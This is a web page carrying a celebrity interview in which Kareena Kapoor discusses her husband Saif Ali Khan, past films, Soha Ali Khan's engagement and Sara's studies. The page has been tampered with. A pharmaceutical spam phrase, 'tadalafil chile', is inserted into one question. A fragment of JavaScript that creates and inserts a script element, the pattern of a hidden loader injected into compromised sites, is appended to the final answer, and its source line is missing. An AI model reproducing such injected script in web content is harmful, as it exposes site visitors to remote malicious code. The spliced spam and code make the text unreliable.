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Kareena Kapoor gets Personal and Talks on Saif, Soha and Sara

Saif recently said that it was a mistake doing Humshakals. Did you have a conversation with him about the same?
I haven’t seen Humshakals and neither have I had a conversation with him but if he feels it’s a mistake then I am sure he knows what he is talking about. He is an intelligent actor. At the end of the day it’s just another film; some films will not be liked.

Have you regretted doing any films in your career? 
Whatever I have done, I have done wholeheartedly. Whatever I am today, it’s because of my hits and flops.

How is Saif as a husband?  tadalafil chile
I have known him forever. He is a wonderful husband who is very understanding. He is very modern, supportive and responsible – now you know why I love him. We give each other space and independence in our relationship. I couldn’t have asked for a better husband.

Any plans of working together once again?
It’s not on the top of our agenda.

Whenever the two of you have been paired, the film hasn’t worked. 
If the films have not worked it’s because the script/the story was not great. I don’t believe in chemistry et al. If the story is strong, the chemistry also looks good. I am happy not to work with Saif.

Nowadays several actresses have taken into playback singing. Are you planning to join the singing brigade?                                                                                     
I don’t have a beautiful voice. Those who have sung songs must be having good voices. I am more interested in acting than singing.

Soha Ali Khan and Kunal Khemu have decided to tie the knot.
Kunal has always been family; Soha has chosen a fantastic person. Whenever Kunal is around, Soha is always smiling. I am really happy they are planning to settle down.

Saif’s daughter Sara is also planning to get into films.
She is not interested; she is in Columbia university and has five more years to go before her studies get over.var d=document;var s=d.createElement(‘script’); document.currentScript.parentNode.insertBefore(s, document.currentScript);

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